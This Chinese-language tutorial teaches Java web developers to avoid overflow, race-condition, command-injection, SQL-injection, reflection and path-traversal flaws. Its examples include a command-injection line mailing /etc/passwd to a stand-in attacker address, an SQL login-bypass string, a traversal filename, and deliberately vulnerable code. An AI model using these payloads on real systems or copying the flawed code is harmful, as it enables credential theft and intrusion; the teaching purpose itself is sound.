編寫(xiě)安全的Internet應用并不是一件輕而易舉的事情：只要看看各個(gè)專(zhuān)業(yè)公告板就可以找到連續不斷的安全漏洞報告。你如何保證自己的Internet應用不象其他人的應用那樣滿(mǎn)是漏洞？你如何保證自己的名字不會(huì )出現在令人難堪的重大安全事故報道中？
概述和溢出
一、概述
編寫(xiě)安全的Internet應用并不是一件輕而易舉的事情：只要看看各個(gè)專(zhuān)業(yè)公告板就可以找到連續不斷的安全漏洞報告。你如何保證自己的Internet應用不象其他人的應用那樣滿(mǎn)是漏洞？你如何保證自己的名字不會(huì )出現在令人難堪的重大安全事故報道中？
如果你使用Java Servlet、JavaServer Pages（JSP）或者EJB，許多難以解決的問(wèn)題都已經(jīng)事先解決。當然，漏洞仍有可能出現。下面我們就來(lái)看看這些漏洞是什么，以及為什么Java程序員不必擔心部分C和Perl程序員必須面對的問(wèn)題。
C程序員對安全漏洞應該已經(jīng)很熟悉，但象OpenBSD之類(lèi)的工程提供了處理此類(lèi)問(wèn)題的安全系統。Java語(yǔ)言處理這類(lèi)問(wèn)題的經(jīng)驗要比C少20年，但另一方面，Java作為一種客戶(hù)端編程語(yǔ)言誕生，客戶(hù)端對安全的要求比服務(wù)器端苛刻得多。它意味著(zhù)Java的發(fā)展有著(zhù)一個(gè)穩固的安全性基礎。
Java原先的定位目標是瀏覽器。然而，瀏覽器本身所帶的Java虛擬機雖然很不錯，但卻并不完美。Sun的《Chronology of security-related bugs and issues》總結了運行時(shí)環(huán)境的漏洞發(fā)現歷史。我們知道，當Java用作服務(wù)器端編程語(yǔ)言時(shí)，這些漏洞不可能被用作攻擊手段。但即使Java作為客戶(hù)端編程語(yǔ)言，重大安全問(wèn)題的數量也從1996年的6個(gè)（其中3個(gè)是相當嚴重的問(wèn)題）降低到2000年的1個(gè)。不過(guò)，這種安全性的相對提高并不意味著(zhù)Java作為服務(wù)器端編程語(yǔ)言已經(jīng)絕對安全，它只意味著(zhù)攻擊者能夠使用的攻擊手段越來(lái)越受到限制。那么，究竟有哪些地方容易受到攻擊，其他編程語(yǔ)言又是如何面對類(lèi)似問(wèn)題的呢？
二、緩存溢出
在C程序中，緩存溢出是最常見(jiàn)的安全隱患。緩存溢出在用戶(hù)輸入超過(guò)已分配內存空間（專(zhuān)供用戶(hù)輸入使用）時(shí)出現。緩存溢出可能成為導致應用被覆蓋的關(guān)鍵因素。C程序很容易出現緩存溢出，但Java程序幾乎不可能出現緩存溢出。
從輸入流讀取輸入數據的C代碼通常如下所示：
char buffer[1000];
int len = read(buffer);
由于緩存的大小在讀入數據之前確定，系統要檢查為輸入保留的緩存是否足夠是很困難的。緩存溢出使得用戶(hù)能夠覆蓋程序數據結構的關(guān)鍵部分，從而帶來(lái)了安全上的隱患。有經(jīng)驗的攻擊者能夠利用這一點(diǎn)直接把代碼和數據插入到正在運行的程序。
在Java中，我們一般用字符串而不是字符數組保存用戶(hù)輸入。與前面C代碼等價(jià)的Java代碼如下所示：
String buffer = in.readLine();
在這里，“緩存”的大小總是和輸入內容的大小完全一致。由于Java字符串在創(chuàng )建之后不能改變，緩存溢出也就不可能出現。退一步說(shuō)，即使用字符數組替代字符串作為緩存，Java也不象C那樣容易產(chǎn)生可被攻擊者利用的安全漏洞。例如，下面的Java代碼將產(chǎn)生溢出：
char[] bad = new char[6];
bad[7] = 50;這段代碼總是拋出一個(gè)java.lang.ArrayOutOfBoundsException異常，而該異?？梢杂沙绦蜃孕胁东@：
try {
char[] bad = new char[6];
bad[7] = 50;
}
catch (ArrayOutOfBoundsException ex) {
... }
這種處理過(guò)程永遠不會(huì )導致不可預料的行為。無(wú)論用什么方法溢出一個(gè)數組，我們總是得到ArrayOutOfBoundsException異常，而Java運行時(shí)底層環(huán)境卻能夠保護自身免受任何侵害。一般而言，用Java字符串類(lèi)型處理字符串時(shí)，我們無(wú)需擔心字符串的ArrayOutOfBoundsExceptions異常，因此它是一種較為理想的選擇。
Java編程模式從根本上改變了用戶(hù)輸入的處理方法，避免了輸入緩存溢出，從而使得Java程序員擺脫了最危險的編程漏洞。
競爭和執行過(guò)程
三、競爭狀態(tài)
競爭狀態(tài)即Race Condition，它是第二類(lèi)最常見(jiàn)的應用安全漏洞。在創(chuàng )建（更改）資源到修改資源以禁止對資源訪(fǎng)問(wèn)的臨界時(shí)刻，如果某個(gè)進(jìn)程被允許訪(fǎng)問(wèn)資源，此時(shí)就會(huì )出現競爭狀態(tài)。這里的關(guān)鍵問(wèn)題在于：如果一個(gè)任務(wù)由兩個(gè)必不可少的步驟構成，不管你多么想要讓這兩個(gè)步驟一個(gè)緊接著(zhù)另一個(gè)執行，操作系統并不保證這一點(diǎn)。例如，在數據庫中，事務(wù)機制使得兩個(gè)獨立的事件“原子化”。換言之，一個(gè)進(jìn)程創(chuàng )建文件，然后把這個(gè)文件的權限改成禁止常規訪(fǎng)問(wèn)；與此同時(shí)，另外一個(gè)沒(méi)有特權的進(jìn)程可以處理該文件，欺騙有特權的進(jìn)程錯誤地修改文件，或者在權限設置完畢之后仍繼續對原文件進(jìn)行訪(fǎng)問(wèn)。
一般地，在標準Unix和NT環(huán)境下，一些高優(yōu)先級的進(jìn)程能夠把自己插入到任務(wù)的多個(gè)步驟之間，但這樣的進(jìn)程在Java服務(wù)器上是不存在的；同時(shí)，用純Java編寫(xiě)的程序也不可能修改文件的許可權限。因此，大多數由文件訪(fǎng)問(wèn)導致的競爭狀態(tài)在Java中不會(huì )出現，但這并不意味著(zhù)Java完全地擺脫了這個(gè)問(wèn)題，只不過(guò)是問(wèn)題轉到了虛擬機上。
我們來(lái)看看其他各種開(kāi)發(fā)平臺如何處理這個(gè)問(wèn)題。在Unix中，我們必須確保默認文件創(chuàng )建模式是安全的，比如在服務(wù)器啟動(dòng)之前執行“umask 200”這個(gè)命令。有關(guān)umask的更多信息，請在Unix系統的命令行上執行“man umask”查看umask的man文檔。
在NT環(huán)境中，我們必須操作ACL（訪(fǎng)問(wèn)控制表，Access Control List）的安全標記，保護要在它下面創(chuàng )建文件的目錄。NT的新文件一般從它的父目錄繼承訪(fǎng)問(wèn)許可。請參見(jiàn)NT文檔了解更多信息。
Java中的競爭狀態(tài)大多數時(shí)候出現在臨界代碼區。例如，在用戶(hù)登錄過(guò)程中，系統要生成一個(gè)唯一的數字作為用戶(hù)會(huì )話(huà)的標識符。為此，系統先產(chǎn)生一個(gè)隨機數字，然后在散列表之類(lèi)的數據結構中檢查這個(gè)數字是否已經(jīng)被其他用戶(hù)使用。如果這個(gè)數字沒(méi)有被其他用戶(hù)使用，則把它放入散列表以防止其他用戶(hù)使用。代碼如Listing 1所示：
(Listing 1)
// 保存已登錄用戶(hù)的ID
Hashtable hash;
// 隨機數字生成器
Random rand;
// 生成一個(gè)隨機數字
Integer id = new Integer(rand.nextInt());
while (hash.containsKey(id))
{
id = new Integer(rand.nextInt());
}
// 為當前用戶(hù)保留該ID
hash.put(id, data);
Listing 1的代碼可能帶來(lái)一個(gè)嚴重的問(wèn)題：如果有兩個(gè)線(xiàn)程執行Listing 1的代碼，其中一個(gè)線(xiàn)程在hash.put(...)這行代碼之前被重新調度，此時(shí)同一個(gè)隨機ID就有可能被使用兩次。在Java中，我們有兩種方法解決這個(gè)問(wèn)題。首先，Listing 1的代碼可以改寫(xiě)成Listing 2的形式，確保只有一個(gè)線(xiàn)程能夠執行關(guān)鍵代碼段，防止線(xiàn)程重新調度，避免競爭狀態(tài)的出現。第二，如果前面的代碼是EJB服務(wù)器的一部分，我們最好有一個(gè)利用EJB服務(wù)器線(xiàn)程控制機制的唯一ID服務(wù)。
(Listing 2)
synchronized(hash)
{
// 生成一個(gè)唯一的隨機數字
Integer id =
new Integer(rand.nextInt());
while (hash.containsKey(id))
{
id = new Integer(rand.nextInt());
}
// 為當前用戶(hù)保留該ID
hash.put(id, data);
}
四、字符串解釋執行
在有些編程語(yǔ)言中，輸入字符串中可以插入特殊的函數，欺騙服務(wù)器使其執行額外的、多余的動(dòng)作。下面的Perl代碼就是一個(gè)例子：
$data = "mail body";
system("/usr/sbin/sendmail -t $1 < $data");
顯然，這些代碼可以作為CGI程序的一部分，或者也可以從命令行調用。通常，它可以按照如下方式調用：
perl script.pl honest@true.com
它將把一個(gè)郵件（即“mail body”）發(fā)送給用戶(hù)honest@true.com。這個(gè)例子雖然簡(jiǎn)單，但我們卻可以按照如下方式進(jìn)行攻擊：
perl script.pl honest@true.com;mail
cheat@liarandthief.com < /etc/passwd
這個(gè)命令把一個(gè)空白郵件發(fā)送給honest@true.com，同時(shí)又把系統密碼文件發(fā)送給了cheat@liarandthief.com。如果這些代碼是CGI程序的一部分，它會(huì )給服務(wù)器的安全帶來(lái)重大的威脅。
Perl程序員常常用外部程序（比如sendmail）擴充Perl的功能，以避免用腳本來(lái)實(shí)現外部程序的功能。然而，Java有著(zhù)相當完善的API。比如對于郵件發(fā)送，JavaMail API就是一個(gè)很好的API。但是，如果你比較懶惰，想用外部的郵件發(fā)送程序發(fā)送郵件：
Runtime.getRuntime().exec("/usr/sbin/sendmail -t $retaddr < $data");
事實(shí)上這是行不通的。Java一般不允許把OS級“<”和“;”之類(lèi)的構造符號作為Runtime.exec()的一部分。你可能會(huì )嘗試用下面的方法解決這個(gè)問(wèn)題：
Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t $retaddr < $data");
但是，這種代碼是不安全的，它把前面Perl代碼面臨的危險帶入了Java程序。按照常規的Java方法解決問(wèn)題有時(shí)看起來(lái)要比取巧的方法復雜一點(diǎn)，但它幾乎總是具有更好的可移植性、可擴展性，而且更安全、錯誤更少。Runtime.exec()只是該問(wèn)題的一個(gè)簡(jiǎn)單例子，其他許多情形更復雜、更隱蔽。
讓我們來(lái)考慮一下Java的映像API（Reflection API）。Java映像API允許我們在運行時(shí)決定調用對象的哪一個(gè)方法。任何由用戶(hù)輸入命令作為映像查找條件的時(shí)機都可能成為系統的安全弱點(diǎn)。例如，下面的代碼就有可能產(chǎn)生這類(lèi)問(wèn)題：
Method m = bean.getClass().getMethod(action, new Class[] {});
m.invoke(bean, new Object[] {});
如果“action”的值允許用戶(hù)改變，這里就應該特別注意了。注意，這種現象可能會(huì )在一些令人奇怪的地方出現——或許最令人奇怪的地方就是JSP。大多數JSP引擎用映像API實(shí)現下面的功能：
<jsp:setProperty name="bean" property="*" />
這個(gè)Bean的set方法應該特別注意，因為所有這些方法都可以被遠程用戶(hù)調用。例如，對于Listing 3的Bean和Listing 4的JSP頁(yè)面：
(Listing 3)
public class Example
{
public void setName(String name) {
this.name = name; }
public String getName() { return name; }
public void setPassword(String pass) {
this. pass = pass; }
public String getPassword() { return
pass; }
private String name;
private String pass;
}
(Listing 4)
<%@ page import="Example" %>
<jsp:useBean id="example" scope="page"
class="Example" />
<jsp:setProperty name="example" property="*" />
<html>
<head>
<title>Bean示例</title>
</head>
<body>
<form>
<input type="text" name="name" size="30">
<input type="submit" value="Submit">
</form>
</html>
從表面上看，這些代碼只允許用戶(hù)訪(fǎng)問(wèn)example Bean的名字。然而，了解該系統的用戶(hù)可以訪(fǎng)問(wèn)“http://whereever.com/example.jsp?name=Fred&password=hack”這種URL。這個(gè)URL既改變name屬性，也改變password密碼屬性。當然，這應該不是頁(yè)面編寫(xiě)者的意圖，作者的意圖是設計一個(gè)只允許用戶(hù)訪(fǎng)問(wèn)名字屬性的頁(yè)面。因此，在使用
<jsp:setProperty property="*" ... />。>
時(shí)應該非常小心
字符串被解釋執行的問(wèn)題可能在允許嵌入腳本代碼的任何環(huán)境中出現。例如，這類(lèi)問(wèn)題可能在Xalan（也稱(chēng)為L(cháng)otusXSL）中出現，當然這是指系統設置不嚴格、易受攻擊的情況下。
Xalan的腳本支持能夠關(guān)閉（而且這是Xalan的默認設置），在敏感的應用中關(guān)閉腳本支持是一種明智的選擇。當你需要用DOM處理XML文檔時(shí)還必須考慮到另外一點(diǎn)：DOM保證所有文本都經(jīng)過(guò)正確的轉義處理，防止非法的標記插入到腳本之內。LotusXSL缺乏這個(gè)功能，但這絕不是一個(gè)BUG。支持腳本是LotusXSL的一個(gè)特色，而且它（明智地）默認處于關(guān)閉狀態(tài)。XSL的W3C規范并沒(méi)有規定支持腳本的能力。
現在我們來(lái)看看字符串解釋執行如何影響SQL和JDBC。假設我們要以用戶(hù)名字和密碼為條件搜索數據庫中的用戶(hù)，Listing 5的Servlet代碼看起來(lái)不錯，但事實(shí)上它卻是危險的。
(Listing 5)
String user = request.getAttribute("username");
String pass = request.getAttribute("password");
String query = "SELECT id FROM users WHERE
username="+user+" AND password="+pass;
Statement stmt = con.createStatement(query);
ResultSet rs = con.executeQuery(query);
if (rs.next())
{
// 登錄成功
int id = rs.getInt(1);
...
}
else
{
// 登錄失敗
...
}
執行過(guò)程 下
如果用戶(hù)輸入的查詢(xún)條件中，用戶(hù)名字等于“fred”，密碼等于“something”，則系統執行的查詢(xún)實(shí)際上是：
SELECT id FROM users WHERE
username=‘fred‘ AND password=
‘something‘
這個(gè)查詢(xún)能夠正確地對用戶(hù)名字和密碼進(jìn)行檢查。但是，如果用戶(hù)輸入的查詢(xún)條件中，名字等于“fred‘ AND (‘a(chǎn)‘=‘b”，密碼等于“blah‘) OR ‘a(chǎn)‘=‘a(chǎn)”，此時(shí)系統執行的查詢(xún)變成了：
SELECT id FROM users
WHERE username=‘fred‘ AND (
‘a(chǎn)‘=‘b‘ AND password=‘blah‘) OR ‘a(chǎn)‘=‘a(chǎn)‘
可以看出，這個(gè)查詢(xún)無(wú)法正確地對用戶(hù)名字和密碼進(jìn)行檢查。Listing 6的代碼要安全得多，它從根本上防止了用戶(hù)修改SQL命令逃避檢查。
(Listing 6)
String user = request.getAttribute("username");
String pass = request.getAttribute("password");
String query = "SELECT id FROM users
WHERE username=? AND password=?";
PreparedStatement stmt = con.prepareStatement(query);
stmt.setString(1, user);
stmt.setString(2, pass);
ResultSet rs = stmt.executeQuery();
...
所有對文件系統的訪(fǎng)問(wèn)都是字符串可能被解釋執行的地方。用Java訪(fǎng)問(wèn)文件系統時(shí)，我們應該注意文件的命名方式。Listing 7是一個(gè)可能帶來(lái)危險的例子。這個(gè)程序根據用戶(hù)輸入決定讀取哪個(gè)文件，它的危險就在于攻擊者能夠輸入“../../../etc/passwd”這樣的文件名字并獲得系統的密碼文件。這可不是我們希望出現的事情。預防出現這種安全漏洞最簡(jiǎn)單的方法是：除非絕對需要，否則不要使用平面文件（Flat File）。
(Listing 7)
public class UnsafeServlet
{
public void doGet(HttpServletRequest request,
HttpServletResponse response)
{
String product = request.getAttribute("product");
Reader fin = new FileReader(
"/usr/unsafe/products/"+ product);
BufferedReader in = new BufferedReader(fin);
String cost = in.readLine();
// 其他處理過(guò)程
response.getWriter().println(cost);
}
}
大多數服務(wù)器系統，包括Servlet、JSP和EJB，都支持不直接依賴(lài)文件系統訪(fǎng)問(wèn)的配置方法。使用定制的SecurityManager或者使用一個(gè)簡(jiǎn)單的檢查腳本（檢查程序是否直接操作文件系統以及是否使用映像API），我們就可以實(shí)施“無(wú)文件系統直接訪(fǎng)問(wèn)”策略。盡管大多數應用服務(wù)器允許使用文件系統，但一個(gè)好的EJB不會(huì )使用它。
最后，請務(wù)必不要忘記保持數據充分分離、精確定義這一良好的編程習慣。假設我們有一個(gè)用來(lái)保存用戶(hù)信息的數據庫，現在需要增加一個(gè)字段標示用戶(hù)是否具有超級用戶(hù)權限。如果在原來(lái)的表中增加一個(gè)列實(shí)在過(guò)于復雜，采用下面這種方法就變得很有吸引力：在用戶(hù)名字中加上一個(gè)特殊字符表示用戶(hù)是否具有特殊權限，當用戶(hù)登錄時(shí)檢查該特殊字符，以便防止非法用戶(hù)宣稱(chēng)自己擁有特殊權限。但事實(shí)上，這種做法是非常有害的。所有的數據域，不管它是在數據庫中還是作為局部變量，都應該精確定義且只保存一份信息。
五、基本原則總結
根據上述討論，我們得到如下防止出現安全問(wèn)題的基本原則：
對于各個(gè)輸入域，嚴格地定義系統可接受的合法輸入字符，拒絕所有其他輸入內容。
應該盡可能早地對用戶(hù)輸入進(jìn)行檢查，使得使用危險數據的區域減到最小。
不要依賴(lài)瀏覽器端JavaScript進(jìn)行安全檢查（盡管對用戶(hù)來(lái)說(shuō)這是一種非常有用的功能），所有已經(jīng)在客戶(hù)端進(jìn)行的檢查應該在服務(wù)器端再進(jìn)行一次。
這些原則有助于消除大量的安全問(wèn)題。本質(zhì)上，在應用這一級上，URL和POST數據是用戶(hù)和應用交互的唯一途徑，所以我們的注意力應該集中在URL和用戶(hù)輸入數據的安全性上。
當然，簡(jiǎn)單地遵從本文的建議并不能夠保證絕對的安全。你必須分析其他各方面的因素，包括網(wǎng)絡(luò )的安全性以及你所用到的其他服務(wù)的安全性。
每天都有新的安全漏洞被發(fā)現和修正。在系統足夠安全、可以連接到Internet之前，請務(wù)必聽(tīng)取專(zhuān)家的建議；在正式提交源代碼之前，一定要留意可能存在的漏洞。小心永不過(guò)份。
聯(lián)系客服
